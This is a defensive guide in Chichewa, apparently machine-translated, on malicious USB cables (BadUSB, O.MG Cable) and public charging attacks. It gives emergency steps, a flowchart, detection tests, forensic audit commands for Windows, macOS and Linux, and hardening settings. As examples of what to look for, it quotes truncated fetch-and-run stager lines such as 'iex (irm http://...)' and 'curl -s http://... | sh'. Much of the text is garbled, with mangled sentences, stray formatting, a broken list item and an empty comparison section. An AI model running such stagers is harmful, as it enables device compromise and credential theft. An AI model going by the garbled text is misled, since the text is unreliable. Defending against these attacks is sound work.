Zingwe za USB Zoyipa (HiD Injection / BadUSB) ndi Public Kiosk Defense¶

Kulumikiza laputopu yanu, foni yam'manja, kapena piritsi mu USB-C yosadziwika kapena chingwe choyatsira mphezi chosiyidwa pa desiki la hotelo, chipata cha eyapoti, pampando wakumbuyo, kapena chikwama chamsonkhano, kapena kuwona dialog ya Windows Run (Win + R), zenera la PowerShell, kapena macOS Terminal flash pa sikirini yanu kwa ma milliseconds 500 ndikuyamba kulemba mawu 1,000 pa mphindi imodzi mukangolumikiza chingwe cha USB, flash drive, kapena kudina kowonetsera, ndi siginecha ya BadUSB / HID (Chipangizo Choyang'ana Anthu) Keystroke Injection Attack kapena "Kufufuza Kwambiri kapena **"Kufufuza Kwambiri) Mosiyana ndi pulogalamu yaumbanda yachikhalidwe yomwe imasungidwa ngati fayilo pachimake chala chala chomwe ma antivayirasi angayang'anire asanatsegule, ma implants okhala ndi zida monga O.MG Cable, USB Rubber Ducky, Flipper Zero BadUSB, Bash Bunny, ndi USBHarpoon amayika kachipangizo kakang'ono kakang'ono kamene kamakhala kamene kamakhala mkati, chipolopolo cha Wi-Fi kapena cholumikizira cha Wi-Fi cha Wi-Fi molunjika mkati mwa wailesi. Chingwe chojambulira cha Samsung (chosachepera mamilimita 12 kapena mainchesi 0.47 kutalika).

Mukalumikizidwa mu kompyuta yanu kapena foni yam'manja yosatsegulidwa, microcontroller yobisikayo simadzilengeza yokha ku makina anu ogwiritsira ntchito ngati chosungira kapena chojambulira. M'malo mwake, imawerengera pa USB D+ ndi D- zikhomo za data ngati muyezo USB HID Keyboard (Class 0x03) kapena USB Ethernet Network Adapter (RNDIS / ECM). Chifukwa Windows, macOS, Linux, iOS, ndi Android mwachibadwa amakhulupirira makiyibodi omwe angolumikizidwa kumene osafuna madalaivala kapena masikani a antivayirasi, chingwecho chimayatsa makiyi omwe adakonzedweratu.Win + R -> powershell -w hidden -ep bypass ... pa Windows, kapena Cmd + Space -> Terminal pa macOS) kapena kuyambitsa kulipira kwakutali kwa Wi-Fi pomwe wowukira mkati mwa 90 metres (300 mapazi) adina "Execute" pafoni yawo. Pamalo otalikirapo opanda zingwe komanso ziwopsezo zama netiweki oyendera limodzi ndi madoko othamangitsa, funsaninso athu pagulu Wi-Fi, Evil Twin, ndi juice jacking chitetezo kalozera. Ngati mukukumana ndi ziwopsezo zakuthupi kapena kulanda, imbani nambala yanu yazadzidzi (911 ku United States ndi Canada, 112 ku European Union, 999 ku United Kingdom) kapena onani wathu manambala angozi directory. Tsatirani zomwe zatsala pang'ono kudzipatula kwa Hardware ndikuchira kwazamalamulo pansipa.

Chitani izi tsopano¶

1. YANK chingwe cha USB chomwe akuganiziridwa, flash drive, dock, kapena chingwe chojambulira kuchokera padoko la chipangizo chanu MWAMODZI: Sekondi iliyonse BadUSB kapena O.MG Cable imakhalabe yolumikizidwa pakompyuta kapena foni yosatsegulidwa imalola microcontroller yake yamkati (kapena chowukira chapafupi cholumikizidwa ndi chingwe chobisika mkati mwa Wi-Fi hotspot) kubaya makiyi obisika kapena kutulutsa makiyi obisika a USB. keylogger yomwe imalemba mawu achinsinsi omwe mumalemba pa kiyibodi yanu yakunja.
2. Lumikizani laputopu kapena foni yomwe yakhudzidwa kuchokera pa Wi-Fi, Efaneti, ndi Bluetooth pompano, ndipo MUSAYINSE mawu achinsinsi pa makinawo: The standard 2-seconds BadUSB / Rubber Ducky payload silemba pulogalamu yayikulu pa mawonekedwe a kiyibodi yapang'onopang'ono; m'malo mwake, imalemba lamulo la "stager" la mzere 1 mu PowerShell (iex (irm http://...)) kapena macOS Terminal (curl -s http://... | sh) yomwe imatsitsa infostealer yathunthu kapena trojan yofikira kutali pa intaneti yanu ya Wi-Fi. Kudula Wi-Fi ndi Efaneti nthawi yomweyo kumapha kutsitsa kapena kuyimitsa kutulutsa.
3. Ngati mudadina "Dalirani Kompyuta Iyi" pa iPhone/iPad yanu kapena kusankha "Fayilo Kusamutsa (MTP) / Lolani Kuwonongeka kwa USB (ADB)" pa foni yanu ya Android pa kiosk yolipirira anthu, thetsani kukhulupilira nthawi yomweyo:
4. Pa iPhone / iPad: Chotsani chingwe, pitani ku Zikhazikiko> Wopanga Mapulogalamu (ngati akuwoneka pansi pa Zikhazikiko) -> dinani Chotsani Makompyuta Odalirika. Ngati Wopanga Mapulogalamu sanali kuwoneka, pitani ku ** Zikhazikiko> Zambiri> Tumizani kapena Bwezeretsaninso iPhone> Bwezeretsani> Bwezerani Malo & Zazinsinsi**, zomwe zimapukuta mwachinsinsi zonse zophatikizika. lockdownd mbiri yophatikizira alendo kuti pasakhale kompyuta kapena kiosk yomwe ingathe kupeza zosunga zobwezeretsera za iPhone popanda chiphaso chanu.
5. Pa Android: Chotsani chingwe, pitani ku Zikhazikiko> Dongosolo> Zosintha za Madivelopa (ngati zayatsidwa) -> dinani Bwezerani zilolezo zochotsa USB, ndikusintha Zosankha za Madivelopa************+*
6. Yang'anirani zomwe makiyi amtundu wa BadUSB adangolemba pa kompyuta yanu poyang'ana bokosi lanu la Run (RunMRU), chipika chamalamulo cha PowerShell (PSReadLine), ndi mbiri ya Terminal ya macOS: Musanayambitsenso, tsegulani zenera loyera pakompyuta yanu yapaintaneti ndikuwerenga lamulo lenileni lomwe kiyibodi yabodza ya USB idalowetsa mudongosolo lanu pogwiritsa ntchito pulogalamu yathu. malamulo a forensic audit mu Phase 2.
7. Sungani chingwe cha USB chokayikitsa kapena choyendetsa chala chachikulu m'chidebe chachitsulo kapena thumba la Faraday (MUSAMAIkirenso mu kompyuta iliyonse kuti "muwone zomwe zili mmenemo"): Chifukwa Chingwe cha O.MG chili ndi cholumikizira cha ESP8266/ESP32 Wi-Fi chomwe chimayatsa mphamvu ikalandira ma volts 5 (ngakhale italumikizidwa ku banki yomanga batire), pulagi yolumikizira banki ya USB pamalo ake obisika a Wi-Fi ndikuloleza woukira kunja kwa chipinda chanu cha hotelo kapena ofesi kuti alumikizane nayo kapena kuyambitsa kudziwononga (Self-Destruct / Wipe) mawonekedwe. Zisiyeni kwathunthu osamangika.
8. Ngati BadUSB payload idalemba script pa kompyuta yanu pomwe mudalowa, tembenuzani zidziwitso zonse ndikuchotsa magawo omwe akugwira ntchito pa chipangizo china choyera: Chifukwa 90 peresenti ya zolipira zamakono za BadUSB zimakhazikitsa infostealer yomwe imagwira ma cookie ndi mawu achinsinsi osungidwa mumasekondi atatu, yambitsani zathu. gawo lobera ma cookie ndi infostealer token revocation guide kuchokera pa foni yamakono yoyera.

Mtengo wosankha: kuyankha ku chingwe choyipa cha USB kapena kuwonekera pagulu la anthu¶

Gwiritsani ntchito tchatichi kuti mudziwe ngati chipangizo chanu chinasokonezedwa mutalumikiza chingwe cha USB chosadalirika, padoko, pagalimoto, kapena potengera anthu onse:

flowchart TD
    Event["Wolumikizidwa mu USB Cable Yosadziwika, Yapezeka Flash Drive, Hotel/Airport Kiosk, kapena Saw Terminal/Run Window Flash pa Screen"] --> Unplug["CHOCHITA 1: Chotsani Chingwe cha USB / Chipangizo Nthawi yomweyo & Chotsani Wi-Fi / Efaneti"]

    Unplug --> WhatDevice{"Ndi Chipangizo Chotani Cholumikizidwa mu Chingwe cha USB Chosadziwika kapena Port?"}

    WhatDevice -->|"Windows, macOS, kapena Linux Laptop / Desktop"| ScreenLocked{"Kodi Sewero la Pakompyuta LINALI WOKHOKHWA kapena WOSAKHIDWA Pamene Mulowa?"}
    WhatDevice -->|"iPhone / iPad (iOS / iPadOS)"| iOSState{"Kodi iPhone inali Yotsegulidwa, ndipo Kodi Mudadina 'Kukhulupirira' kapena Kuwona Kulemba?"}
    WhatDevice -->|"Android Smartphone / Tablet"| AndroidState{"Kodi Foni Idali Yotsegulidwa, kapena 'USB Debugging (ADB)' Inayatsidwa?"}

    ScreenLocked -->|"Osatsegulidwa (Olowa mu Desktop)"| AssumeHID["ZOCHITIKA KWAMBIRI: Chingwe Choyipa cha BadUSB / O.MG Itha Kuyika Makiyi (Win + R / Cmd + Space) mu <1.5 Sekondi Popanda Kuthamanga Kulikonse -> Pitani ku Phase 2 Forensic Audit"]
    ScreenLocked -->|"Chotsekedwa (Sikirini yachinsinsi)"| NetworkDMA["Yang'anani Ngati Thunderbolt/PCIe DMA kapena USB Ethernet (RNDIS/DHCP Poisoning) Inachitika; Makiyibodi Sangalambalale Chotchinga Chotsekera Popanda Mawu Anu Achinsinsi"]

    iOSState -->|"Kutseka Nthawi Yonse (iOS 15+ / USB Restricted Mode)"| iOSSafe["ZOTETEZEKA: Apple 'USB Restricted Mode' Imayimitsa Mwathupi Mapini a Data pa iPhones Zotsekedwa -> Mphamvu Yokha Yodutsa"]
    iOSState -->|"Osatsegulidwa & Tapped 'Trust' (Kapena Saw Safari/ Njira Zachidule Zotsegulidwa)"| iOSRevoke["Nthawi yomweyo Thamangani: Zikhazikiko> General> Choka kapena Bwezerani iPhone> Bwezerani> Bwezerani Malo & Zinsinsi + Audit Shortcuts App"]

    AndroidState -->|"Kutseka Nthawi Yonse (Charge-Only Mode)"| AndroidSafe["ZOTETEZEKA: Zosasintha Zamakono za Android mpaka 'Palibe Kutumiza Kwa Data (Kulipira Kokha)' -> Palibe Deta Yodutsa"]
    AndroidState -->|"Osatsegulidwa & Anawona Kulemba Pazenera kapena Kuvomerezedwa kwa ADB/MTP"| AndroidRevoke["Zimitsani Zosankha Zopangira -> Chotsani Kuwonongeka kwa USB -> Onani Mapulogalamu Oyika & Kutsitsa kwa Chrome"]

Kumvetsetsa momwe BadUSB, O.MG Cables, ndi Public Charging Attacks Zimagwirira Ntchito¶

Kuti mudziteteze bwino, ndikupewa zonse zomwe zingachitike pakuyika zida zenizeni komanso kuchita mantha ndi madoko opanda vuto, muyenera kumvetsetsa njira zitatu zaukadaulo zomwe owukira amagwiritsa ntchito pa USB:

1. BadUSB / HID Keystroke jakisoni (O.MG Cable, Rubber Ducky, Flipper Zero)¶

• Mapangidwe Ofunika Kwambiri a USB: The Universal Serial Bus (USB) mafotokozedwe amalola cholumikizira chimodzi chokha kuti chidziwonetse ngati gulu lililonse la chipangizo panthawi yowerengera (bInterfaceClass), kapenanso monga Chida Chophatikizika (kudzilengeza yokha ngati USB Flash Drive ndi USB Kiyibodi).
• Mkati mwa Chingwe cha O.MG Kapena Chaja Yoyipa: Mwachiwonekere, Chingwe cha O.MG ndi 100 peresenti yosazindikirika ndi chingwe chenicheni cholukidwa kapena choyera cha Apple USB-C-to-USB-C, USB-C-to-Mphezi, kapena USB-A chingwe. Imalipira foni yanu ndikusamutsa deta mwachizolowezi. Komabe, chobisika mkati mwa cholumikizira cholumikizira ndi chowongolera chapawiri-core microcontroller chokhala ndi 802.11 Wi-Fi ndi kusungirako kung'anima:
• Injection Yamakiyi Yogwira Ntchito: Mukalumikiza chingwecho mu Windows PC, Mac, kapena foni yamakono yosakiyidwa, chingwecho chimawerengedwa ngati chamtundu wamtundu HID Kiyibodi ndikulemba mpaka zilembo 850 pa sekondi imodzi (DuckyScript). Mkati mwa masekondi 1.5, imakanikiza Win + R (Windows) kapena Cmd + Space (Mac), imatsegula chipolopolo chobisika, kutsitsa zolipira, ndikutseka zenera.
• Inline Hardware Keylogger (Kwa Makibodi Akunja a USB): Ngati wowukira asinthanitsa chingwe cha USB cholumikiza kiyibodi yanu yakunja ku PC yanu yapakompyuta ndi O.MG Cable, implantation imakhala chete pakati pa waya ndikulemba ** mpaka 650,000 makiyi achinsinsi** (kuphatikiza Bitwarden / 1Pasword yanu, PIN yolowera mkati, Windows Password, Password ya Windows) wowukirayo amatsitsa popanda zingwe kuchokera kunja kwa nyumbayo kudzera pa Wi-Fi.
• Mayipilo A Geofenced & Ochedwa Nthawi: Mosiyana ndi $50 USB Rubber Ducky yosavuta yomwe imayimira malipiro ake nthawi yomweyo italumikizidwa, O.MG Cable imatha kukhala chete ngati chingwe cholipiritsa cha masiku kapena masabata mpaka itazindikira netiweki yanu ya Wi-Fi (BSSID geofencing) kapena mpaka wowukirayo ayambitse patali kudzera pa UI yake yapaintaneti.

2. USB Network Adapter Hijacking (RNDIS / CDC-ECM / PoisonTap / Bash Bunny)¶

• Ngakhale chophimba chanu cha laputopu ndi chotsekedwa (Win + L kapena Ctrl + Cmd + Q) kotero kiyibodi yabodza ya USB siyingatsegule zenera la terminal, kulumikiza chida cha USB choyipa padoko losatsegulidwa la USB chimalola chipangizocho kuwerengera ngati *Adapter Yapamwamba ya Gigabit USB Ethernet Adapter (USB RNDIS kapena CDC-ECM)**.
• Chifukwa Windows ndi macOS zimayika patsogolo mawonekedwe atsopano a Ethernet pa Wi-Fi, chipangizo cha USB chimakhala khomo lolowera laputopu yanu kudzera pa DHCP (0.0.0.0/1), imasokoneza kuchuluka kwa magalimoto amtaneti am'deralo, ndikuyankha WPAD / LLMNR / mDNS mafunso, kapena ma siphon ma cookie a msakatuli omwe si a HttpOnly.

3. Public Kiosk "Juice Jacking" (MTP / PTP / iOS lockdownd / Android ADB)¶

• Mukalumikiza foni yam'manja padoko la USB la anthu onse (pabwalo la ndege, kokwerera masitima apamtunda, malo okwera kuhotela, kapena malo osungiramo zinthu zakale zamagalimoto obwereketsa) pogwiritsa ntchito chingwe cholumikizira deta:
• Zomwe zimatsekeredwa zokha: Popeza iOS 11.4.1 / iOS 15+ (USB Restricted Mode) ndi Android 9+ (Charge-Only Default), kulumikiza foni padoko la data la USB si kumangoulula zithunzi kapena mafayilo anu. Kutumiza kwa data kwatsekeredwa mpaka mutatsegula foni NDIPO dinani pang'onopang'ono "Khulupirirani Kompyutayi" (kuphatikizanso lowetsani Passcode yanu ya iPhone) kapena sinthani pamanja chidziwitso cha USB cha Android kuchokera ku No data transfer kupita Fayilo Transfer (MTP) kapena Lolani USB Debugging.
• **Komwe kuli chowopsa chenicheni m'malo ogulitsira anthu onse **:
  1. Kujambulira kwa ChoiceJacking & HID pa Mafoni Osatsegulidwa: Monga momwe ofufuza zachitetezo a Graz University of Technology akuwonetsera (ChoiceJacking), ngati foni yanu yosatsegulidwa m'manja mwanu pamene mukuyilumikiza padoko loyipa la USB, kiosk imatha kuwerengera ngati USB Kiyibodi (HID) kwa 200 milliseconds ndikutumiza zenizeni Tab / Enter kapena makiyi othandizira ofunikira kuti kudina "Lolani / Kusamutsa Fayilo" mwachangu pazenera lanu musanasinthe njira yotumizira deta.
  2. Kuwonongeka kwa Hardware / Kuwonongeka Kwambiri kwa Voltage (USB Killer): Doko lowonongeka la USB limatha kutaya 200V DC kuchokera kubanki ya capacitor molunjika mu chipangizo chowongolera cha USB-C cha foni yanu, ndikuwotcha bolodi lamalingaliro kwamuyaya.

Kuyerekeza Matrix: Zida Zachitetezo za USB & Chitetezo cha OS¶

Gawo 1: Momwe Mungadziwire Mwachiwonekere ndi Mwamagetsi Chingwe Choyipa cha USB (O.MG Cable Audit)¶

Ngati mwapeza chingwe cha USB chokayikitsa muofesi yanu, cholumikizidwa kuseri kwa kiyibodi ya PC yanu, kapena mkati mwachikwama chanu, tsatirani njira zinayi izi kuti muwone ngati ndi choyikapo cha hardware:

1. Mayeso #1: Yezerani Kupitilira Kapena Gwiritsani Ntchito Choyesa Chingwe cha Hardware (O.MG Malicious Cable Detector / Bleeping / Hak5 Tester):
2. Zingwe zapakatikati za USB-A-to-USB-C, USB-A-to-Mphezi, kapena zingwe zopanda E-Marked USB-C zilibe makina opangira ma microprocessor omwe amakoka pomwe mbali imodzi yokha ndiyolumikizidwa ndi mphamvu.
3. O.MG Malicious Cable Detector* (kapena inline USB current/protocol analyzer ngati Power-Z KM003C) imakhala pakati pa gwero lamagetsi ndi chingwe popanda ** chilichonse cholumikizidwa kumapeto kwa chingwe **:
   • Ngati chingwe chimakoka **30 mpaka 120 milliamp (mA) yapano pa 5V pomwe palibe chomwe chalumikizidwa kumapeto kwina **, kapena kuyesa kukambirana ndi USB. D+/D- kuwerengera palokha, **pali kompyuta yogwira / wailesi ya Wi-Fi yobisika mkati mwamutu wa chingwe **.
4. Chiyeso #2: Yang'anani Malo Obisika a Wi-Fi (O.MG Ma SSID okhazikika kapena ESP32 MAC Prefixes):
5. Zingwe za O.MG ndi ma implants opanda zingwe a BadUSB amagwiritsa ntchito Espressif (ESP8266 / ESP32-S2 / ESP32-C3) Chip cha Wi-Fi mkati mwa chipolopolo cholumikizira.
6. Pogwiritsa ntchito banki yakutali ya USB mkati mwa malo akutali (osati kompyuta yanu), kuyatsa chingwe chosasinthika kapena chokhazikika cha O.MG nthawi zambiri chimawulutsa netiweki ya 2.4 GHz Wi-Fi (yofikira SSID O.MG ku 192.168.4.1, kapena SSID yobisika yokhala ndi MAC Address / BSSID OUI ya Espressif Inc. monga 24:0A:C4, 30:AE:A4, 84:CC:A8, A0:20:A6, DC:4F:22, pokhapokha ngati wasokonezedwa).
7. **Mayeso #3: Yang'anani Kutalika kwa Cholumikizira Chowonjezera ndi Kutentha Kwakanthawi **:
8. Fananizani chipolopolo cha pulasitiki chopumira cha chingwe chokayikira ndi chingwe chenicheni cha Apple kapena Anker chodziwika mbali ndi mbali:
   • Pomwe mibadwo yaposachedwa ya O.MG Cable ikufanana ndi kukula kwake kwa chipolopolo cha Apple, patatha mphindi zitatu mutalandira mphamvu ya 5V, mutu wolumikizira womwe uli ndi Wi-Fi microcontroller yogwira umamva ** kutentha kwambiri (35 to 45 degrees Celsius / 95 to 113 degrees Fahrenheit)** pakati pa zala zanu ngakhale ngati palibe foni yomwe ili mbali inayo. (Chingwe chokhazikika chopanda chilichonse cholumikizidwa kumapeto kwenikweni chimakhala chozizira kwambiri kutentha.)

Gawo 2: Forensic Triage Ngati BadUSB kapena O.MG Cable Yalembedwa pa Kompyuta Yanu¶

Ngati mudalumikiza chingwe cha USB, choyendetsa chala chachikulu, kapena zotumphukira mu laputopu yanu ya Windows PC, Mac, kapena Linux ndikuwona menyu Yoyambira, Run dialog (Win + R), Kuwala (Cmd + Space), kapena zenera lakuda/buluu lotsegula lotseguka ndi kutseka, osayambitsanso. Tsatirani malamulowa kuti muwone zomwe kiyibodi yabodza ya USB idalemba komanso ID ya USB Vendor/Product (VID:PID) cholumikizidwa kudoko lanu:

1. Windows 10 & Windows 11 Forensic Audit (Thamangani mu Offline PowerShell)¶

Tsegulani PowerShell (Admin) pa Windows PC yopanda intaneti ndikuyendetsa malamulo anayi awa:

# 1. Inspect the exact commands typed into the Windows Run Dialog (Win + R) by the BadUSB keyboard:
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"

# 2. Read the persistent PowerShell command history file (captures commands typed into any PowerShell window):
Get-Content (Get-PSReadLineOption).HistorySavePath -Tail 50

# 3. List all USB HID Keyboards and USB Composite Devices recently connected to this PC (with Timestamps & VID/PID):
Get-PnpDevice -Class Keyboard, HIDClass, USB | ForEach-Object {
    $prop = Get-PnpDeviceProperty -InstanceId $_.InstanceId -KeyName "DEVPKEY_Device_FirstInstallDate", "DEVPKEY_Device_LastArrivalDate" -ErrorAction SilentlyContinue
    if ($prop) {
        [PSCustomObject]@{
            FriendlyName = $_.FriendlyName
            Status       = $_.Status
            InstanceId   = $_.InstanceId
            FirstInstall = ($prop | Where-Object KeyName -match "FirstInstallDate").Data
            LastArrival  = ($prop | Where-Object KeyName -match "LastArrivalDate").Data
        }
    }
} | Sort-Object LastArrival -Descending | Select-Object -First 20 | Format-Table -AutoSize

# 4. Check Windows Event Log 4104 (PowerShell Script Block Logging) for obfuscated payloads executed in the last 24 hours:
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} -MaxEvents 30 -ErrorAction SilentlyContinue |
    Select-Object TimeCreated, Message | Format-List

• Kumasulira Get-ItemProperty ... RunMRU:
• Pafupifupi zolemba zonse za Windows BadUSB / Rubber Ducky zimayamba ndikukanikiza Win + R(GUI r mu DuckyScript) ndikulemba lamulo ngati powershell -w h -NoP -NonI -Ep Bypass irm https://... | iex kapena cmd /c curl ....
• Ngakhale script ikuyesera kuchotsa RunMRU Pamapeto pake, ngati munatulutsa chingwe pakati pakuphatikizika (kapena ngati script sinachotseretu registry), URL yoyipa ndi lamulo limakhala mkati momwemo. RunMRU (a, b, c values) kapena mkati ConsoleHost_history.txt.

2. Apple macOS Forensic Audit (Thamangani mu Offline Terminal)¶

Pa macOS, zolipira za BadUSB nthawi zambiri zimakanikiza Cmd + Space(GUI SPACE), mtundu Terminal, kanda Enter, ndi kuthamanga a curl kapena osascript mzere umodzi:

# 1. Check your Zsh and Bash command history for any command injected by the fake USB keyboard:
tail -n 50 ~/.zsh_history ~/.bash_history 2>/dev/null

# 2. Query the macOS Unified Log for all USB device attach events and VID/PID enumerations in the last 2 hours:
log show --predicate 'subsystem CONTAINS "usb" OR process == "kernel"' --info --last 2h | grep -iE "USB|AppleUSB|VID|PID|HID|Keyboard|O.MG"

# 3. Check recently modified LaunchAgents and /tmp payloads:
ls -laht ~/Library/LaunchAgents /Library/LaunchAgents /tmp /var/tmp | head -n 30

3. Linux Forensic Audit (dmesg & journalctl)¶

# Inspect kernel USB enumeration logs to see if a charging cable or thumb drive secretly registered as an "input: ... Keyboard" (HID):
sudo journalctl -k --since "2 hours ago" | grep -iE "usb|hid|input|keyboard|rndis|cdc_ether"
tail -n 50 ~/.bash_history ~/.zsh_history 2>/dev/null

Ngati chimodzi mwa zipika pamwambapa chikuwonetsa kuti a powershell, cmd, mshta, curl, wget, kapena osascript Lamulo lomwe laperekedwa mutalumikizidwa ndi intaneti, lingalirani kuti ndi infostealer kapena kupitilirabe kuseri kwanyumba: sinthani magawo onse pogwiritsa ntchito pulogalamu yathu. Kubedwa kwa ma cookie ndi infostealer guide ndikukhazikitsanso OS yoyera kutsatira zathu pulogalamu yaumbanda, ransomware, ndi kalozera wa matenda aukazitape.

Gawo 3: Kutseka Zida Zanu Kuti Zingwe Zoyipa Za USB Zisathe Kungochita Zokha¶

Makina ogwiritsira ntchito amakono tsopano akuphatikiza maloko amphamvu omangira madoko omwe amalepheretsa BadUSB, O.MG Cables, ndi Rubber Duckies asanalembe munthu m'modzi, bola mutayatsa zosinthazo:

1. Apple macOS (Apple Silicon M1 / M2 / M3 / M4 MacBooks): Yambitsani "Pemphani Zatsopano"¶

Pa Apple Silicon Macs yomwe ikuyenda ndi macOS Ventura, Sonoma, kapena Sequoia, Apple idayambitsa chilolezo cha USB-C/Thunderbolt cha hardware chomwe chimatchinga chingwe chilichonse chatsopano cha USB kapena chida kuti chisatchulidwe ngati kiyibodi mpaka mutadina "Lolani": 1. Tsegulani **Menyu ya Apple () > Zokonda pa System > Zazinsinsi & Chitetezo **. 2. Pitani ku gawo la Security ndikupeza "Lolani zowonjezera kuti zigwirizane". 3. Sinthani kuchoka pa Zokha Mukatsegulidwa kupita ku "Pemphani Zatsopano Zatsopano" (kapena "Funsani Nthawi Iliyonse" kuti mupeze chitetezo chokwera kwambiri paulendo). 4. Chifukwa chiyani izi zimayimitsa Ma Cable a O.MG kuzizira pa Mac: Mukalumikiza chingwe chachinyengo cha O.MG chokhala ndi "Funsani Nthawi Zonse" kapena "Pemphani Zatsopano Zatsopano" wothandizidwa, mphamvu imayenda nthawi yomweyo kuti muyitanitse batri yanu ya MacBook, koma macOS imatuluka mawu ochenjeza: "Allow accessory '[Device Name]' to connect to this Mac?" Chifukwa chingwe chojambulira chokhazikika sichimafunsa kuti chilumikizidwe ngati chowonjezera cha data, powona kuti pop-up mukalumikiza chingwe chojambulira chosavuta **nthawi yomweyo imawulula chingwe ngati choyika cha hardware ** kwinaku chikutsekereza 100 peresenti ya makiyi ake mpaka mutachichotsa.

2. Apple iPhone & iPad: Tsimikizani "USB zoletsedwa mumalowedwe" ndi Yathandizidwa¶

1. Tsegulani ** Zikhazikiko > Nkhope ID & Passcode ** (kapena ** Touch ID & Passcode **) ndikulowetsa passcode yanu.
2. Pitani ku gawo la "Lolani Kulowa Pamene Chatsekedwa" gawo.
3. Onetsetsani kuti kusintha komwe kuli pafupi ndi Zowonjezera (kapena USB Chalk) kwazimitsa**** (imvi).
4. Ndi Zipangizo zotsekedwa ** ZOZIMA **, nthawi iliyonse iPhone yanu ikatsekedwa, iOS imalepheretsa ma pini a data a USB, ndikulola kuti mphamvu yochapira idutse. Nthawi zonse kanikizani batani lakumbali kuti mutseke chophimba cha iPhone MUSAYANKHA mu charger yosadziwika kapena galimoto yobwereka.

3. Android 15/16 & GrapheneOS: Yambitsani "Chitetezo Chapamwamba" / USB Port Lock¶

• Pa Android wamba (Pixel, Samsung Galaxy):
• Osasiya Zosankha Zopanga> USB Debugging (ADB) yoyatsidwa poyenda.
• Mu Zikhazikiko> Chitetezo & zinsinsi> Zokonda zambiri (kapena Chitetezo Chapamwamba pa Android 15/16+), yambitsani chitetezo cha USB / Tsekani zida zatsopano za USB mutatseka.
• Tsekani chinsalu chanu nthawi zonse musanalumikizane ndi doko lililonse lolipiritsa anthu kuti ziwopsezo za ChoiceJacking HID zisagwirizane ndi zenera losatsegulidwa.

4. Linux & Windows Enterprise: USBGuard ndi Kuletsa Kuyika kwa Chipangizo¶

• Pa Linux (USBGuard): Ikani usbguard daemon (sudo apt install usbguard), yomwe imaletsa kutsimikizira kwa chipangizo chilichonse cha USB chatsopano bInterfaceClass 03 (HID Keyboard) ngati kiyibodi yoyambira idalumikizidwa kale kapena mpaka itavomerezedwa mwachindunji kudzera usbguard allow-device.
• Pa Windows 11 Pro / Enterprise: Yambitsani Kernel DMA Chitetezo (BitLocker + VBS) mu Windows Security> Chipangizo Chachitetezo> Core Isolation kuti muyimitse kuwukira kwa Thunderbolt/PCIe DMA, ndipo nthawi zonse muzitseka malo anu ogwirira ntchito (Win + L) musanalowetse chingwe chilichonse cha USB chosadziwika bwino kuti makiyi ojambulira makiyi sangathe kupeza chipolopolo chakompyuta chomwe chalowetsedwa.

Mafunso omwe amafunsidwa pafupipafupi¶

Kodi Chingwe choyipa cha O.MG kapena chingwe cha BadUSB chingathe kuthyolako foni yanga ya iPhone kapena Android ngati ndingoyiyika pomwe chophimba cha foni yanga chili chokhoma?¶

Ngati iPhone yanu ili ndi Zikhazikiko> Nkhope ID & Passcode> Lolani Kulowa Pamene Chotsekedwa> Chalk anatembenuka ZIZIMA (zosakhazikika pa iOS 15 kudzera pa iOS 18) ndipo chophimba chanu chimatsekedwa mukalumikiza chingwe, palibe deta kapena makiyi angafikire iPhone wanu chifukwa iOS imalepheretsa mizere ya data ya USB pamlingo wowongolera zida mpaka mutatsegula foni ndi Face ID kapena passcode yanu. Komabe, mukangotsegula iPhone yanu pomwe O.MG Cable ikadali yolumikizidwa, chingwecho chimatha kuwerengedwa ngati kiyibodi yakunja ya USB ndikutumiza mwachangu njira zazifupi za kiyibodi ya iOS (monga Cmd + Malo kuti mutsegule Spotlight, tsegulani Safari ku URL ya mbiri ya phishing/configuration, kapena kuyambitsa Njira zazifupi za Apple). Osasunga chingwe cha USB chomwe chapezeka kapena chosadalirika cholumikizidwa ndikutsegula foni yanu.

Kodi ndingadziwe bwanji kusiyana pakati pa chingwe chenicheni cha USB "Charge-Only" ndi chingwe chodziwika bwino cha USB?¶

Chifukwa opanga sasindikiza zizindikiro pazingwe zosiyanitsa zingwe zopangira magetsi okha kuchokera ku zingwe za data, njira yosavuta yodzitetezera ndikulumikiza chingwe pakati pa kompyuta ndi chipangizo chakale chosafunikira kwambiri (kapena kugwiritsa ntchito $ 10 mkati mwa USB chingwe pinout continuity tester Board ngati Treedix USB Cable Tester, yomwe imayatsa ma LED pawaya aliyense wamkati popanda kuwotcha microcontroller iliyonse). Pa bolodi yoyeserera mosalekeza, zoona Charge-Only cable adzawala kokha VBUS ndi GND (2 ma LED), pomwe chingwe chokhala ndi data chidzawunikiranso D+ ndi D- (ndi CC1/TX/RX pa USB-C). Kapenanso, khalani odzipereka adaputala yakuthupi ya USB Data Blocker kumangiriridwa kosatha kunsonga ya chingwe chanu cholipiritsa komwe mungathe kuyang'ana mkati mwa doko lachikazi ndikutsimikizira ndi maso anu kuti zikhomo zapakati za data zikusowa.

Kodi ndikwabwino kumangitsa chingwe changa chochapira mu chotengera chamagetsi cha AC (2-prong / 3-prong socket) pabwalo la ndege kapena hotelo m'malo mwa doko la USB lomwe lamangidwa?¶

Inde, 100 peresenti otetezeka. Soketi yamagetsi yamagetsi ya 110V / 230V AC (pomwe mumalumikiza njerwa yanu ya Apple, Samsung, kapena Anker) imakhala ndi mphamvu yamagetsi yosinthira ndipo imakhala ndi zolumikizira ziro zomwe zimatha kulumikizana ndi chowongolera cha USB cha foni yanu. Malingana ngati mutagwiritsa ntchito njerwa yanu yodalirika ya adaputala ya AC ndi chingwe chanu cha USB chodalirika, bwalo la ndege kapena hotelo yamagetsi a AC sangathe kuchita Juice Jacking kapena BadUSB.

Chifukwa chiyani Windows idatulukira "Kukhazikitsa chipangizo: HID Keyboard Device" nditalumikiza USB flash drive kapena chaja ya vape/e-fodya?¶

Kuwona Windows ikuwonetsa kuwerenga kwa zidziwitso za toast "Kukhazikitsa chipangizo: HID Keyboard Chipangizo" pamene munalumikiza chinachake chomwe chiri ayi kiyibodi (monga USB flash drive, chingwe cholipiritsa, chotengera desiki chotsika mtengo, chithunzi cha digito, kapena chojambulira cha vape) ndiye mfuti # 1 yodziwika bwino ya BadUSB / HID Keystroke jekeseni. Palibe flash drive yovomerezeka kapena chingwe chojambulira chomwe chimafunikira kulembetsa ndi Windows ngati kiyibodi. Chotsani chipangizocho nthawi yomweyo, chotsani ku Wi-Fi, ndikuyendetsa PowerShell RunMRU ndi PSReadLine owunikira amalamula mu Gawo 2 kuti muwone lamulo la kiyibodi yabodzayo.

Magwero afufuzidwa¶

